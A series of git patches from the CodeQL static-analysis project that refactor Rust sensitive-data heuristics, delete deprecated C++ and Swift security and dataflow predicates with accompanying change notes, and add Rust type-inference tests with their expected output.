.(CallExprBase) - .getStaticTarget() - .(SensitiveDataFunction) - .getClassification() - } - - override SensitiveDataClassification getClassification() { result = classification } -} - -/** - * An enum variant that might produce sensitive data. - */ -private class SensitiveDataVariant extends Variant { - SensitiveDataClassification classification; - - SensitiveDataVariant() { - HeuristicNames::nameIndicatesSensitiveData(this.getName().getText(), classification) - } - - SensitiveDataClassification getClassification() { result = classification } -} - -/** - * An enum variant call data flow node that might produce sensitive data. - */ -private class SensitiveDataVariantCall extends SensitiveData { - SensitiveDataClassification classification; - - SensitiveDataVariantCall() { - classification = - this.asExpr().getAstNode().(CallExpr).getVariant().(SensitiveDataVariant).getClassification() + SensitiveDataCall() { + exists(CallExprBase call, string name | + call = this.asExpr().getExpr() and + name = + [ + call.getStaticTarget().(Function).getName().getText(), + call.(CallExpr).getVariant().getName().getText(), + ] and + HeuristicNames::nameIndicatesSensitiveData(name, classification) + ) } override SensitiveDataClassification getClassification() { result = classification } } -/** - * A variable that might contain sensitive data. - */ -private class SensitiveDataVariable extends Variable { - SensitiveDataClassification classification; - - SensitiveDataVariable() { - HeuristicNames::nameIndicatesSensitiveData(this.getText(), classification) - } - - SensitiveDataClassification getClassification() { result = classification } -} - /** * A variable access data flow node that might be sensitive data. */ @@ -100,13 +49,12 @@ private class SensitiveVariableAccess extends SensitiveData { SensitiveDataClassification classification; SensitiveVariableAccess() { - classification = - this.asExpr() + HeuristicNames::nameIndicatesSensitiveData(this.asExpr() .getAstNode() .(VariableAccess) .getVariable() - .(SensitiveDataVariable) - .getClassification() + .(Variable) + .getText(), classification) } override SensitiveDataClassification getClassification() { result = classification } From b503b1ef6ccae745b728267da585dc0559333bb5 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 19 May 2025 12:09:27 +0100 Subject: [PATCH 196/535] Rust: Prefer getExpr() over getAstNode(). --- rust/ql/lib/codeql/rust/security/SensitiveData.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/rust/ql/lib/codeql/rust/security/SensitiveData.qll b/rust/ql/lib/codeql/rust/security/SensitiveData.qll index 703a5099317a..bf3364abdb6b 100644 --- a/rust/ql/lib/codeql/rust/security/SensitiveData.qll +++ b/rust/ql/lib/codeql/rust/security/SensitiveData.qll @@ -50,7 +50,7 @@ private class SensitiveVariableAccess extends SensitiveData { SensitiveVariableAccess() { HeuristicNames::nameIndicatesSensitiveData(this.asExpr() - .getAstNode() + .getExpr() .(VariableAccess) .getVariable() .(Variable) @@ -69,7 +69,7 @@ private class SensitiveFieldAccess extends SensitiveData { SensitiveDataClassification classification; SensitiveFieldAccess() { - exists(FieldExpr fe | fieldExprParentField*(fe) = this.asExpr().getAstNode() | + exists(FieldExpr fe | fieldExprParentField*(fe) = this.asExpr().getExpr() | HeuristicNames::nameIndicatesSensitiveData(fe.getIdentifier().getText(), classification) ) } From c74321a2eea531622907ebb62ff009875e728b63 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 16 May 2025 12:21:07 +0200 Subject: [PATCH 197/535] all: used Erik's script to delete outdated deprecations --- .../cpp/dataflow/internal/DataFlowUtil.qll | 13 --- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 13 --- .../lib/semmle/code/cpp/security/Security.qll | 90 ------------------- .../code/cpp/security/SecurityOptions.qll | 24 ----- .../codeql/swift/dataflow/ExternalFlow.qll | 38 -------- .../lib/codeql/swift/dataflow/FlowSummary.qll | 10 --- .../dataflow/internal/DataFlowPublic.qll | 13 --- .../WeakSensitiveDataHashingQuery.qll | 4 - 8 files changed, 205 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowUtil.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowUtil.qll index 4a8ea4ebd43d..72e742f13aa0 100644 --- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowUtil.qll @@ -98,19 +98,6 @@ class Node extends TNode { /** Gets the location of this element. */ Location getLocation() { none() } // overridden by subclasses - /** - * Holds if this element is at the specified location. - * The location spans column `startcolumn` of line `startline` to - * column `endcolumn` of line `endline` in file `filepath`. - * For more information, see - * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). - */ - deprecated predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) - } - /** * Gets an upper bound on the type of this node. */ diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 62ad9f02fe29..ab6a9da6d85d 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -538,19 +538,6 @@ class Node extends TIRDataFlowNode { none() // overridden by subclasses } - /** - * Holds if this element is at the specified location. - * The location spans column `startcolumn` of line `startline` to - * column `endcolumn` of line `endline` in file `filepath`. - * For more information, see - * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). - */ - deprecated predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) - } - /** Gets a textual representation of this element. */ cached final string toString() { diff --git a/cpp/ql/lib/semmle/code/cpp/security/Security.qll b/cpp/ql/lib/semmle/code/cpp/security/Security.qll index 63bdd685a205..fc2ec2a595ef 100644 --- a/cpp/ql/lib/semmle/code/cpp/security/Security.qll +++ b/cpp/ql/lib/semmle/code/cpp/security/Security.qll @@ -42,58 +42,6 @@ class SecurityOptions extends string { ) } - /** - * The argument of the given function is filled in from user input. - */ - deprecated predicate userInputArgument(FunctionCall functionCall, int arg) { - exists(string fname | - functionCall.getTarget().hasGlobalOrStdName(fname) and - exists(functionCall.getArgument(arg)) and - ( - fname = ["fread", "fgets", "fgetws", "gets"] and arg = 0 - or - fname = "scanf" and arg >= 1 - or - fname = "fscanf" and arg >= 2 - ) - or - functionCall.getTarget().hasGlobalName(fname) and - exists(functionCall.getArgument(arg)) and - fname = "getaddrinfo" and - arg = 3 - ) - or - exists(RemoteFlowSourceFunction remote, FunctionOutput output | - functionCall.getTarget() = remote and - output.isParameterDerefOrQualifierObject(arg) and - remote.hasRemoteFlowSource(output, _) - ) - } - - /** - * The return value of the given function is filled in from user input. - */ - deprecated predicate userInputReturned(FunctionCall functionCall) { - exists(string fname | - functionCall.getTarget().getName() = fname and - ( - fname = ["fgets", "gets"] or - this.userInputReturn(fname) - ) - ) - or - exists(RemoteFlowSourceFunction remote, FunctionOutput output | - functionCall.getTarget() = remote and - (output.isReturnValue() or output.isReturnValueDeref()) and - remote.hasRemoteFlowSource(output, _) - ) - } - - /** - * DEPRECATED: Users should override `userInputReturned()` instead. - */ - deprecated predicate userInputReturn(string function) { none() } - /** * The argument of the given function is used for running a process or loading * a library. @@ -108,29 +56,6 @@ class SecurityOptions extends string { function = ["LoadLibrary", "LoadLibraryA", "LoadLibraryW"] and arg = 0 } - /** - * This predicate should hold if the expression is directly - * computed from user input. Such expressions are treated as - * sources of taint. - */ - deprecated predicate isUserInput(Expr expr, string cause) { - exists(FunctionCall fc, int i | - this.userInputArgument(fc, i) and - expr = fc.getArgument(i) and - cause = fc.getTarget().getName() - ) - or - exists(FunctionCall fc | - this.userInputReturned(fc) and - expr = fc and - cause = fc.getTarget().getName() - ) - or - commandLineArg(expr) and cause = "argv" - or - expr.(EnvironmentRead).getSourceDescription() = cause - } - /** * This predicate should hold if the expression raises privilege for the * current session. The default definition only holds true for some @@ -173,21 +98,6 @@ predicate argv(Parameter argv) { /** Convenience accessor for SecurityOptions.isPureFunction */ predicate isPureFunction(string name) { exists(SecurityOptions opts | opts.isPureFunction(name)) } -/** Convenience accessor for SecurityOptions.userInputArgument */ -deprecated predicate userInputArgument(FunctionCall functionCall, int arg) { - exists(SecurityOptions opts | opts.userInputArgument(functionCall, arg)) -} - -/** Convenience accessor for SecurityOptions.userInputReturn */ -deprecated predicate userInputReturned(FunctionCall functionCall) { - exists(SecurityOptions opts | opts.userInputReturned(functionCall)) -} - -/** Convenience accessor for SecurityOptions.isUserInput */ -deprecated predicate isUserInput(Expr expr, string cause) { - exists(SecurityOptions opts | opts.isUserInput(expr, cause)) -} - /** Convenience accessor for SecurityOptions.isProcessOperationArgument */ predicate isProcessOperationArgument(string function, int arg) { exists(SecurityOptions opts | opts.isProcessOperationArgument(function, arg)) diff --git a/cpp/ql/lib/semmle/code/cpp/security/SecurityOptions.qll b/cpp/ql/lib/semmle/code/cpp/security/SecurityOptions.qll index 81815971478a..612b495d3e68 100644 --- a/cpp/ql/lib/semmle/code/cpp/security/SecurityOptions.qll +++ b/cpp/ql/lib/semmle/code/cpp/security/SecurityOptions.qll @@ -22,28 +22,4 @@ class CustomSecurityOptions extends SecurityOptions { // for example: (function = "MySpecialSqlFunction" and arg = 0) none() // rules to match custom functions replace this line } - - deprecated override predicate userInputArgument(FunctionCall functionCall, int arg) { - SecurityOptions.super.userInputArgument(functionCall, arg) - or - exists(string fname | - functionCall.getTarget().hasGlobalName(fname) and - exists(functionCall.getArgument(arg)) and - // --- custom functions that return user input via one of their arguments: - // 'arg' is the 0-based index of the argument that is used to return user input - // for example: (fname = "readXmlInto" and arg = 1) - none() // rules to match custom functions replace this line - ) - } - - deprecated override predicate userInputReturned(FunctionCall functionCall) { - SecurityOptions.super.userInputReturned(functionCall) - or - exists(string fname | - functionCall.getTarget().hasGlobalName(fname) and - // --- custom functions that return user input via their return value: - // for example: fname = "xmlReadAttribute" - none() // rules to match custom functions replace this line - ) - } } diff --git a/swift/ql/lib/codeql/swift/dataflow/ExternalFlow.qll b/swift/ql/lib/codeql/swift/dataflow/ExternalFlow.qll index f396f9536e82..7fac65ecde5d 100644 --- a/swift/ql/lib/codeql/swift/dataflow/ExternalFlow.qll +++ b/swift/ql/lib/codeql/swift/dataflow/ExternalFlow.qll @@ -446,44 +446,6 @@ Element interpretElement( ) } -deprecated private predicate parseField(AccessPathToken c, Content::FieldContent f) { - exists(string fieldRegex, string name | - c.getName() = "Field" and - fieldRegex = "^([^.]+)$" and - name = c.getAnArgument().regexpCapture(fieldRegex, 1) and - f.getField().getName() = name - ) -} - -deprecated private predicate parseTuple(AccessPathToken c, Content::TupleContent t) { - c.getName() = "TupleElement" and - t.getIndex() = c.getAnArgument().toInt() -} - -deprecated private predicate parseEnum(AccessPathToken c, Content::EnumContent e) { - c.getName() = "EnumElement" and - c.getAnArgument() = e.getSignature() - or - c.getName() = "OptionalSome" and - e.getSignature() = "some:0" -} - -/** Holds if the specification component parses as a `Content`. */ -deprecated predicate parseContent(AccessPathToken component, Content content) { - parseField(component, content) - or - parseTuple(component, content) - or - parseEnum(component, content) - or - // map legacy "ArrayElement" specification components to `CollectionContent` - component.getName() = "ArrayElement" and - content instanceof Content::CollectionContent - or - component.getName() = "CollectionElement" and - content instanceof Content::CollectionContent -} - cached private module Cached { /** diff --git a/swift/ql/lib/codeql/swift/dataflow/FlowSummary.qll b/swift/ql/lib/codeql/swift/dataflow/FlowSummary.qll index fadee4aee6f4..0cec06a7c9cc 100644 --- a/swift/ql/lib/codeql/swift/dataflow/FlowSummary.qll +++ b/swift/ql/lib/codeql/swift/dataflow/FlowSummary.qll @@ -13,14 +13,4 @@ private module Summaries { private import codeql.swift.frameworks.Frameworks } -deprecated class SummaryComponent = Impl::Private::SummaryComponent; - -deprecated module SummaryComponent = Impl::Private::SummaryComponent; - -deprecated class SummaryComponentStack = Impl::Private::SummaryComponentStack; - -deprecated module SummaryComponentStack = Impl::Private::SummaryComponentStack; - class SummarizedCallable = Impl::Public::SummarizedCallable; - -deprecated class RequiredSummaryComponentStack = Impl::Private::RequiredSummaryComponentStack; diff --git a/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPublic.qll b/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPublic.qll index b14bd5d5f592..0c5a4fbb2a63 100644 --- a/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPublic.qll +++ b/swift/ql/lib/codeql/swift/dataflow/internal/DataFlowPublic.qll @@ -19,19 +19,6 @@ class Node extends TNode { cached final Location getLocation() { result = this.(NodeImpl).getLocationImpl() } - /** - * Holds if this element is at the specified location. - * The location spans column `startcolumn` of line `startline` to - * column `endcolumn` of line `endline` in file `filepath`. - * For more information, see - * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). - */ - deprecated predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) - } - /** * Gets the expression that corresponds to this node, if any. */ diff --git a/swift/ql/lib/codeql/swift/security/WeakSensitiveDataHashingQuery.qll b/swift/ql/lib/codeql/swift/security/WeakSensitiveDataHashingQuery.qll index 5aba8ffa1b09..ade9d9f1437d 100755 --- a/swift/ql/lib/codeql/swift/security/WeakSensitiveDataHashingQuery.qll +++ b/swift/ql/lib/codeql/swift/security/WeakSensitiveDataHashingQuery.qll @@ -40,8 +40,4 @@ module WeakSensitiveDataHashingConfig implements DataFlow::ConfigSig { } } -deprecated module WeakHashingConfig = WeakSensitiveDataHashingConfig; - module WeakSensitiveDataHashingFlow = TaintTracking::Global; - -deprecated module WeakHashingFlow = WeakSensitiveDataHashingFlow; From 703aec199081ec3cff0eefc4f9de1eae6af47458 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 16 May 2025 18:14:12 +0200 Subject: [PATCH 198/535] cpp: removed now unused predicate `commandLineArg` --- cpp/ql/lib/semmle/code/cpp/security/Security.qll | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/security/Security.qll b/cpp/ql/lib/semmle/code/cpp/security/Security.qll index fc2ec2a595ef..df1555ec4c8d 100644 --- a/cpp/ql/lib/semmle/code/cpp/security/Security.qll +++ b/cpp/ql/lib/semmle/code/cpp/security/Security.qll @@ -77,16 +77,6 @@ class SecurityOptions extends string { } } -/** - * An access to the argv argument to main(). - */ -private predicate commandLineArg(Expr e) { - exists(Parameter argv | - argv(argv) and - argv.getAnAccess() = e - ) -} - /** The argv parameter to the main function */ predicate argv(Parameter argv) { exists(Function f | From 673655e093c535ca103ec7082c9eea26a66e80d6 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Sun, 18 May 2025 15:54:56 +0200 Subject: [PATCH 199/535] added change notes --- .../2025-05-18-2025-May-outdated-deprecations.md | 9 +++++++++ .../2025-05-18-2025-May-outdated-deprecations.md | 10 ++++++++++ 2 files changed, 19 insertions(+) create mode 100644 cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md create mode 100644 swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md diff --git a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md new file mode 100644 index 000000000000..b1a31ea6eb5a --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md @@ -0,0 +1,9 @@ +--- +category: breaking +--- +* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`. +* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`. +* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`. +* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`. diff --git a/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md new file mode 100644 index 000000000000..072e6bba5cda --- /dev/null +++ b/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md @@ -0,0 +1,10 @@ +--- +category: breaking +--- +* Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. +* Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. +* Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. +* Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. From f4ff815253686fa0d47739e96deb46d4a874503c Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Mon, 19 May 2025 15:12:38 +0200 Subject: [PATCH 200/535] Rust: Add additional type inference tests --- .../test/library-tests/type-inference/main.rs | 22 + .../type-inference/type-inference.expected | 1260 +++++++++-------- 2 files changed, 679 insertions(+), 603 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index f6c879f24b6b..ab4a5c99e4bb 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -784,6 +784,16 @@ mod method_supertraits { impl MyTrait3 for MyThing2 {} + fn call_trait_m1>(x: T2) -> T1 { + x.m1() // $ method=MyTrait1::m1 + } + + fn type_param_trait_to_supertrait>(x: T) { + // Test that `MyTrait3` is a subtrait of `MyTrait1>` + let a = x.m1(); // $ method=MyTrait1::m1 type=a:MyThing type=a:A.S1 + println!("{:?}", a); + } + pub fn f() { let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; @@ -802,6 +812,12 @@ mod method_supertraits { println!("{:?}", x.m3()); // $ method=m3 type=x.m3():S1 println!("{:?}", y.m3()); // $ method=m3 type=y.m3():S2 + + let x = MyThing { a: S1 }; + let s = call_trait_m1(x); // $ type=s:S1 + + let x = MyThing2 { a: S2 }; + let s = call_trait_m1(x); // $ type=s:MyThing type=s:A.S2 } } @@ -1054,6 +1070,12 @@ mod method_call_type_conversion { let x6 = &S(S2); // explicit dereference println!("{:?}", (*x6).m1()); // $ method=m1 + + let x7 = S(&S2); + // Non-implicit dereference with nested borrow in order to test that the + // implicit dereference handling doesn't affect nested borrows. + let t = x7.m1(); // $ method=m1 type=t:& type=t:&T.S2 + println!("{:?}", x7); } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index c2625e0c98e4..27ea38cffd88 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1,4 +1,6 @@ testFailures +| main.rs:793:25:793:75 | //... | Missing result: type=a:A.S1 | +| main.rs:793:25:793:75 | //... | Missing result: type=a:MyThing | inferType | loop/main.rs:7:12:7:15 | SelfParam | | loop/main.rs:6:1:8:1 | Self [trait T1] | | loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:10:1:14:1 | Self [trait T2] | @@ -791,606 +793,658 @@ inferType | main.rs:779:26:779:29 | self | | main.rs:726:5:729:5 | MyThing2 | | main.rs:779:26:779:29 | self | A | main.rs:776:10:776:10 | T | | main.rs:779:26:779:31 | self.a | | main.rs:776:10:776:10 | T | -| main.rs:788:13:788:13 | x | | main.rs:721:5:724:5 | MyThing | -| main.rs:788:13:788:13 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:788:17:788:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | -| main.rs:788:17:788:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | -| main.rs:788:30:788:31 | S1 | | main.rs:731:5:732:14 | S1 | -| main.rs:789:13:789:13 | y | | main.rs:721:5:724:5 | MyThing | -| main.rs:789:13:789:13 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:789:17:789:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | -| main.rs:789:17:789:33 | MyThing {...} | A | main.rs:733:5:734:14 | S2 | -| main.rs:789:30:789:31 | S2 | | main.rs:733:5:734:14 | S2 | -| main.rs:791:26:791:26 | x | | main.rs:721:5:724:5 | MyThing | -| main.rs:791:26:791:26 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:791:26:791:31 | x.m1() | | main.rs:731:5:732:14 | S1 | -| main.rs:792:26:792:26 | y | | main.rs:721:5:724:5 | MyThing | -| main.rs:792:26:792:26 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:792:26:792:31 | y.m1() | | main.rs:733:5:734:14 | S2 | -| main.rs:794:13:794:13 | x | | main.rs:721:5:724:5 | MyThing | -| main.rs:794:13:794:13 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:794:17:794:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | -| main.rs:794:17:794:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | -| main.rs:794:30:794:31 | S1 | | main.rs:731:5:732:14 | S1 | -| main.rs:795:13:795:13 | y | | main.rs:721:5:724:5 | MyThing | -| main.rs:795:13:795:13 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:795:17:795:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | -| main.rs:795:17:795:33 | MyThing {...} | A | main.rs:733:5:734:14 | S2 | -| main.rs:795:30:795:31 | S2 | | main.rs:733:5:734:14 | S2 | -| main.rs:797:26:797:26 | x | | main.rs:721:5:724:5 | MyThing | -| main.rs:797:26:797:26 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:797:26:797:31 | x.m2() | | main.rs:731:5:732:14 | S1 | -| main.rs:798:26:798:26 | y | | main.rs:721:5:724:5 | MyThing | -| main.rs:798:26:798:26 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:798:26:798:31 | y.m2() | | main.rs:733:5:734:14 | S2 | -| main.rs:800:13:800:13 | x | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:800:13:800:13 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:800:17:800:34 | MyThing2 {...} | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:800:17:800:34 | MyThing2 {...} | A | main.rs:731:5:732:14 | S1 | -| main.rs:800:31:800:32 | S1 | | main.rs:731:5:732:14 | S1 | -| main.rs:801:13:801:13 | y | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:801:13:801:13 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:801:17:801:34 | MyThing2 {...} | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:801:17:801:34 | MyThing2 {...} | A | main.rs:733:5:734:14 | S2 | -| main.rs:801:31:801:32 | S2 | | main.rs:733:5:734:14 | S2 | -| main.rs:803:26:803:26 | x | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:803:26:803:26 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:803:26:803:31 | x.m3() | | main.rs:731:5:732:14 | S1 | -| main.rs:804:26:804:26 | y | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:804:26:804:26 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:804:26:804:31 | y.m3() | | main.rs:733:5:734:14 | S2 | -| main.rs:822:22:822:22 | x | | file://:0:0:0:0 | & | -| main.rs:822:22:822:22 | x | &T | main.rs:822:11:822:19 | T | -| main.rs:822:35:824:5 | { ... } | | file://:0:0:0:0 | & | -| main.rs:822:35:824:5 | { ... } | &T | main.rs:822:11:822:19 | T | -| main.rs:823:9:823:9 | x | | file://:0:0:0:0 | & | -| main.rs:823:9:823:9 | x | &T | main.rs:822:11:822:19 | T | -| main.rs:827:17:827:20 | SelfParam | | main.rs:812:5:813:14 | S1 | -| main.rs:827:29:829:9 | { ... } | | main.rs:815:5:816:14 | S2 | -| main.rs:828:13:828:14 | S2 | | main.rs:815:5:816:14 | S2 | -| main.rs:832:21:832:21 | x | | main.rs:832:13:832:14 | T1 | -| main.rs:835:5:837:5 | { ... } | | main.rs:832:17:832:18 | T2 | -| main.rs:836:9:836:9 | x | | main.rs:832:13:832:14 | T1 | -| main.rs:836:9:836:16 | x.into() | | main.rs:832:17:832:18 | T2 | -| main.rs:840:13:840:13 | x | | main.rs:812:5:813:14 | S1 | -| main.rs:840:17:840:18 | S1 | | main.rs:812:5:813:14 | S1 | -| main.rs:841:26:841:31 | id(...) | | file://:0:0:0:0 | & | -| main.rs:841:26:841:31 | id(...) | &T | main.rs:812:5:813:14 | S1 | -| main.rs:841:29:841:30 | &x | | file://:0:0:0:0 | & | -| main.rs:841:29:841:30 | &x | &T | main.rs:812:5:813:14 | S1 | -| main.rs:841:30:841:30 | x | | main.rs:812:5:813:14 | S1 | -| main.rs:843:13:843:13 | x | | main.rs:812:5:813:14 | S1 | -| main.rs:843:17:843:18 | S1 | | main.rs:812:5:813:14 | S1 | -| main.rs:844:26:844:37 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:844:26:844:37 | id::<...>(...) | &T | main.rs:812:5:813:14 | S1 | -| main.rs:844:35:844:36 | &x | | file://:0:0:0:0 | & | -| main.rs:844:35:844:36 | &x | &T | main.rs:812:5:813:14 | S1 | -| main.rs:844:36:844:36 | x | | main.rs:812:5:813:14 | S1 | -| main.rs:846:13:846:13 | x | | main.rs:812:5:813:14 | S1 | -| main.rs:846:17:846:18 | S1 | | main.rs:812:5:813:14 | S1 | -| main.rs:847:26:847:44 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:847:26:847:44 | id::<...>(...) | &T | main.rs:812:5:813:14 | S1 | -| main.rs:847:42:847:43 | &x | | file://:0:0:0:0 | & | -| main.rs:847:42:847:43 | &x | &T | main.rs:812:5:813:14 | S1 | -| main.rs:847:43:847:43 | x | | main.rs:812:5:813:14 | S1 | -| main.rs:849:13:849:13 | x | | main.rs:812:5:813:14 | S1 | -| main.rs:849:17:849:18 | S1 | | main.rs:812:5:813:14 | S1 | -| main.rs:850:9:850:25 | into::<...>(...) | | main.rs:815:5:816:14 | S2 | -| main.rs:850:24:850:24 | x | | main.rs:812:5:813:14 | S1 | -| main.rs:852:13:852:13 | x | | main.rs:812:5:813:14 | S1 | -| main.rs:852:17:852:18 | S1 | | main.rs:812:5:813:14 | S1 | -| main.rs:853:13:853:13 | y | | main.rs:815:5:816:14 | S2 | -| main.rs:853:21:853:27 | into(...) | | main.rs:815:5:816:14 | S2 | -| main.rs:853:26:853:26 | x | | main.rs:812:5:813:14 | S1 | -| main.rs:867:22:867:25 | SelfParam | | main.rs:858:5:864:5 | PairOption | -| main.rs:867:22:867:25 | SelfParam | Fst | main.rs:866:10:866:12 | Fst | -| main.rs:867:22:867:25 | SelfParam | Snd | main.rs:866:15:866:17 | Snd | -| main.rs:867:35:874:9 | { ... } | | main.rs:866:15:866:17 | Snd | -| main.rs:868:13:873:13 | match self { ... } | | main.rs:866:15:866:17 | Snd | -| main.rs:868:19:868:22 | self | | main.rs:858:5:864:5 | PairOption | -| main.rs:868:19:868:22 | self | Fst | main.rs:866:10:866:12 | Fst | -| main.rs:868:19:868:22 | self | Snd | main.rs:866:15:866:17 | Snd | -| main.rs:869:43:869:82 | MacroExpr | | main.rs:866:15:866:17 | Snd | -| main.rs:870:43:870:81 | MacroExpr | | main.rs:866:15:866:17 | Snd | -| main.rs:871:37:871:39 | snd | | main.rs:866:15:866:17 | Snd | -| main.rs:871:45:871:47 | snd | | main.rs:866:15:866:17 | Snd | -| main.rs:872:41:872:43 | snd | | main.rs:866:15:866:17 | Snd | -| main.rs:872:49:872:51 | snd | | main.rs:866:15:866:17 | Snd | -| main.rs:898:10:898:10 | t | | main.rs:858:5:864:5 | PairOption | -| main.rs:898:10:898:10 | t | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:898:10:898:10 | t | Snd | main.rs:858:5:864:5 | PairOption | -| main.rs:898:10:898:10 | t | Snd.Fst | main.rs:880:5:881:14 | S2 | -| main.rs:898:10:898:10 | t | Snd.Snd | main.rs:883:5:884:14 | S3 | -| main.rs:899:13:899:13 | x | | main.rs:883:5:884:14 | S3 | -| main.rs:899:17:899:17 | t | | main.rs:858:5:864:5 | PairOption | -| main.rs:899:17:899:17 | t | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:899:17:899:17 | t | Snd | main.rs:858:5:864:5 | PairOption | -| main.rs:899:17:899:17 | t | Snd.Fst | main.rs:880:5:881:14 | S2 | -| main.rs:899:17:899:17 | t | Snd.Snd | main.rs:883:5:884:14 | S3 | -| main.rs:899:17:899:29 | t.unwrapSnd() | | main.rs:858:5:864:5 | PairOption | -| main.rs:899:17:899:29 | t.unwrapSnd() | Fst | main.rs:880:5:881:14 | S2 | -| main.rs:899:17:899:29 | t.unwrapSnd() | Snd | main.rs:883:5:884:14 | S3 | -| main.rs:899:17:899:41 | ... .unwrapSnd() | | main.rs:883:5:884:14 | S3 | -| main.rs:900:26:900:26 | x | | main.rs:883:5:884:14 | S3 | -| main.rs:905:13:905:14 | p1 | | main.rs:858:5:864:5 | PairOption | -| main.rs:905:13:905:14 | p1 | Fst | main.rs:877:5:878:14 | S1 | -| main.rs:905:13:905:14 | p1 | Snd | main.rs:880:5:881:14 | S2 | -| main.rs:905:26:905:53 | ...::PairBoth(...) | | main.rs:858:5:864:5 | PairOption | -| main.rs:905:26:905:53 | ...::PairBoth(...) | Fst | main.rs:877:5:878:14 | S1 | -| main.rs:905:26:905:53 | ...::PairBoth(...) | Snd | main.rs:880:5:881:14 | S2 | -| main.rs:905:47:905:48 | S1 | | main.rs:877:5:878:14 | S1 | 